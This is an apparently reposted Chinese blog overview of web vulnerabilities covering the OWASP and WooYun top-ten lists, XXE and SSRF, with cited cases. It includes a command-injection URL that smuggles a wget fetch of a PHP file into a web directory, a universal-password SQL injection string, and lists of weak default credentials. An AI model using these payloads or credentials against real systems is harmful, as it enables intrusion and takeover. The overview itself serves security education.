1. 程式人生 > >滲透測試必知必會—Web漏洞

滲透測試必知必會—Web漏洞

中國國情 系統錯誤 min jenkins 安全 第三方 weblogic 滲透測試 javascrip

https://as.h5con.cn/articles/129985?spm=cnblog

0x00前言   本文為對WEB漏洞研究系列的開篇,日後會針對這些漏洞一一研究,敬請期待   0x01 目錄   0x00 前言   0x01 目錄   0x02 OWASP TOP10 簡單介紹   0x03 烏雲TOP 10 簡單介紹   0x04 非主流的WEB漏洞   0x02 OWASP TOP10 簡單介紹   除了OWASP的TOP10,Web安全漏洞還有很多很多,在做測試和加固系統時也不能老盯著TOP10,實際上是TOP10中的那少數幾個   直接說2013的:   A1: 註入,包括SQL註入、OS註入、LDAP註入。SQL註入最常見,wooyun.org || http://packetstormsecurity.com 搜SQL註入有非常多的案例,由於現在自動化工具非常多,通常都是找到註入點後直接交給以sqlmap為代表的工具   命令註入相對來說出現得較少,形式可以是:   https://1XX.202.234.22/debug/list_logfile.php?action=restartservice&bash=;wget -O /Isc/third-party/httpd/htdocs/index_bak.php http://xxphp.txt;   也可以查看案例:極路由雲插件安裝shell
命令註入漏洞 ,未對用戶輸入做任何校驗,因此在web端ssh密碼填寫處輸入一條命令`dropbear`便得到了執行   直接搜索LDAP註入案例,簡單嘗試下並沒有找到,關於LDAP註入的相關知識可以參考我整理的LDAP註入與防禦解析。雖然沒有搜到LDAP註入的案例,但是重要的LDAP信息 泄露還是挺多的,截至目前,烏雲上搜關鍵詞LDAP有81條記錄。   PHP對象註入:偶然看到有PHP對象註入這種漏洞,OWASP上對其的解釋為:依賴於上下文的應用層漏洞,可以讓攻擊者實施多種惡意攻擊,如代碼註入、SQL註入、路徑遍歷及拒絕服務。實現對象註入的條件為:1) 應用程序必須有一個實現PHP魔術方法(如 __wakeup或 __destruct)的類用於執行惡意攻擊,或開始一個"POP chain";2) 攻擊中用到的類在有漏洞的unserialize()被調用時必須已被聲明,或者自動加載的對象必須被這些類支持。PHP對象註入的案例及文章
可以參考WordPress < 3.6.1 PHP 對象註入漏洞。   在查找資料時,看到了PHP 依賴註入,原本以為是和安全相關的,結果發現:依賴註入是對於要求更易維護,更易測試,更加模塊化的代碼的解決方案。果然不同的視角,對同一個詞的理解相差挺多的。   A2: 失效的身份認證及會話管理,乍看身份認證覺得是和輸入密碼有關的,實際上還有會話id泄露等情況,註意力集中在口令安全上:   案例1:空口令   烏雲:國內cisco系列交換機空密碼登入大集合   烏雲:UC某服務器可空口令訪問數據庫   案例2:弱口令   烏雲:盛大某站後臺存在簡單弱口令可登錄  admin/admin   烏雲:電信某省客服系統弱口令泄漏各種信息 .../123456   烏雲:中國建築股份有限公司OA系統tomcat弱口令導致淪陷  tomcat/tomcat   案例3:萬能密碼   烏雲:移動
號碼上戶系統存在過濾不嚴  admin‘OR‘a‘=‘a/admin‘OR‘a‘=‘a (實際上仍屬於SQL註入)   弱口令案例實在不一而足   在烏雲一些弱口令如下:其中出鏡次數最高的是:admin/admin, admin/123456 技術分享
 如果要繼續深究下去或者取得更多數據進行分析的話,結局就會如豬豬俠總結的那樣: 技術分享   當然會話存在的安全問題也是需要考慮的,可以是令牌、token被竊取,尤其當會話沒有設置生命周期時很容易出現會話/身份被劫持   會話管理問題可以是用戶A登陸了某個地址,但是沒有註銷(奇葩情況是註銷無效),直接退出了瀏覽器又沒有清除cookie,如果說這時候有B借用A的電腦,他直接以A的身份登陸該地址是沒有問題的,這不是服務端的問題。但假設之後A都沒有訪問改地址,而是把電腦合上待機了,第二天如果B借用他的電腦直接登陸了該地址,則責任在於服務端的會話管理不當,沒有設置超時時間。除此之外,還有會話重放、會話信息泄露等問題。說到會話信息泄露,不禁想起將sessionid放在URL中的情形,鄙人暫未遇到直接利用這個可以竊取會話的,但不排除其可能   A3: 跨站腳本(XSS),最普遍的漏洞,曾被認為是雞肋漏洞,事實證明有時候危害很大的,竊取cookie,構造蠕蟲不一而足。XSS的技術體現在Javascript功底上,現在很多網站都有針對XSS的過濾器,J2EE可以使用全局過濾器,但是過濾器基本都是使用黑名單設防,是有可能繞過的,回應了技術體現在Javascript功底上。跨站腳本還有flash類型的,由於相比之下出現得比較少,瀏覽器和過濾器的防禦精力不在這上面,如果出現可能更容易成功。值得一提的是,對於XSS,現在的掃描工具都會將其標識為高危漏洞,實際上掃描器根據返回的響應中是否有加入的載荷來判斷跨站腳本漏洞存在的可能性,誤報率會比較高。還有就是常規掃描器只能識別反射型XSS,反射型XSS本身危害是比較小的,存儲型XSS危害才大(危害大小看具體情況)。反射型XSS現在常規payload要想過IE10、IE11或chrome還是有難度的,因此XSS技術的另一個體現方面即是對瀏覽器特性的了解。至於存儲型XSS,則要看具體業務和數據是否會受影響,用戶交互程度越高,利用難度就越大,如果能彈框證實漏洞存在,但很難被觸發或者就算竊取到cookie也無法登陸,很難說明是高風險安全問題,但還是有修復和改進的必要。   A4: 不安全的直接對象引用,訪問控制不當的問題,常見為越權操作(橫向+縱向),譬如:遍歷用戶id批量獲取用戶信息、在HTTP請求中篡改某個參數的值就變成了其他身份進行的操作,最激動人心的是可以進行刷錢等操作。越權問題並不高深,相比SQL註入和XSS技術難度還要低一點,因為通常只要改參數值就可以了(一般來說)。防止此類問題的做法很簡單,當用戶需要訪問某資源或進行操作時,服務器端取出來訪用戶的session值,判斷是否具有訪問或操作權限。   在訪問控制操作中,我們可以設定某一資源或文件A可以訪問、B不能訪問,但是當對應的用戶多起來時也會遇到麻煩。也可以為用戶訪問資源或文件標誌一個權限,作為一個會話屬性,屬於自己的才可以操作或訪問,具體情況具體討論。   案例1:水平越權   烏雲:虎撲某功能存在水平越權   案例2: 垂直越權   烏雲:中國電信某系統管理員WEB界面越權訪問   A5-A7\A9: 安全配置錯誤\敏感數據泄露\功能級訪問控制缺失\使用含已知漏洞的組件=>運維不當,直接看運維不當的   知乎專欄:運維安全(...)   烏雲知識庫:從烏雲看運維安全那點事兒   引用一下知識庫的內容,問題有:   struts漏洞   Web服務器未及時打補丁,有解析漏洞   PHP-CGI RCE   FCK編輯器   server-status信息泄露   網站備份文件放在web目錄,可被下載   列目錄導致可看到敏感數據並查看   snmp信息泄露   weblogic弱口令   SVN信息泄露   域傳送漏洞   Rsync   hadoop對外   nagios信息泄露   ftp弱口令或支持匿名訪問導致信息泄露   RTX泄露信息   Ganglia信息泄露   j2ee應用架構開始占主流,典型的web服務器搭配配置失誤   Jenkins平臺沒有設置登錄驗證   zabbix   zenoss監控系統   Resin文件讀取   memcache未限制訪問IP   JBoss問題   測試服務器外網可訪問   padding oracle attack   用戶名密碼放在服務器上……   A8: 跨站請求偽造(CSRF)   CSRF曾被稱為沈睡的巨人,以前拿來舉例時都是說Alice給Bob轉錢,結果morry插了一腳,錢就跑到morry家去了。危害可大可小,直接通過URL增刪改操作的也還有,更多的還是基於表單。如果是XSS+CSRF =>蠕蟲 就比較可觀了,也曾看到過直接get root的案例
案例:萬達電影主站 xss + csrf   A10: 無效的重定向   控制重定向可以釣魚,可以獲取敏感文件的信息,在struts2中也有開放重定向的命令執行   0x03 烏雲TOP 10 簡單介紹   上述就是OWASP TOP10的WEB漏洞,烏雲出了一個更加符合中國國情的 烏雲:Top10 for 2014,看著也是觸目驚心   A1-互聯網泄密事件/撞庫攻擊   本質上來說是使用了不安全的口令,也許我可以將自己的密碼設置的很復雜,別人破解不出來。但對於撞庫攻擊而言,可以說是不怕神一樣的對手,就怕豬一樣的隊友。我們註冊使用的網站或服務商他們保存了我們使用的密碼,而很多時候被泄露出去了我們並不知道。這也是考驗我們密碼習慣的時候了,強密碼+不同的密碼,當然密碼多了也難以記住,不行就借助軟件或者普通賬號用同一個密碼,重要賬號用不同密碼吧   A2-引用不安全的第三方應用   舉的例子是heart bleed漏洞使用的openssl,另外struts2的漏洞也還數見不鮮,其次就是CMS如wordpress使用的插件,當然shellshock也會有很多中槍的   A3-系統錯誤/邏輯缺陷帶來的暴力猜解   暴力破解:沒對請求和錯誤次數做限制;重放攻擊同樣是沒做檢驗或限制   A4-敏感信息/配置信息泄露   包括但不限於目錄遍歷、日誌、配置文件、svn目錄、github或其他博客等地方   A5-應用錯誤配置/默認配置   包括但不限於默認路徑、默認口令、目錄穿越、任意文件下載等   A6-SQL註入漏洞   A7-XSS跨站腳本攻擊/CSRF   A8-未授權訪問/權限繞過   可匿名訪問\判斷referer值後免登陸   A9-賬戶體系控制不嚴/越權操作   A10-內部重要資料/文檔外泄   還是信息泄露,但是做了區分,不同於應用或服務器的信息泄露,專指內部信息泄露喲   0x04 非主流的WEB漏洞   實際上,如果要挖漏洞或者做測試,從烏雲上找案例會比較方便,除了常見的幾類代碼層面的問題,更多的是配置不當方面的,最終歸結到信息安全鏈上最脆弱的還是人本身   除了上面提到的這些,其實還有很多的漏洞啊,跟設備有關系的就先不說了,再提一下兩個看起來不錯的:XXE、SSRF(or XSPA)   XXE:XML外部實體註入,不僅僅是敏感信息泄露,騰訊安全中心:XXE漏洞攻防   案例:   1. 烏雲:百度某功能XML實體註入   2. 烏雲:139郵箱XXE漏洞可讀取文件   3. 烏雲:從開源中國的某XXE漏洞到主站shell   SSRF(服務端請求偽造): 據說用這招可以成功多次進入阿裏、騰訊、百度等的內網,沒爆出來的估計很多被用作殺器了   案例:   1. 烏雲:百度貼吧SSRF   2. 烏雲:新浪SSRF   3. 烏雲:阿裏巴巴SSRF   上面幾個案例有的是分享功能,有的是其他功能,共同點在於都是跟的url參數,且沒做限制,導致內網信息泄露   (未完...)

滲透測試必知必會—Web漏洞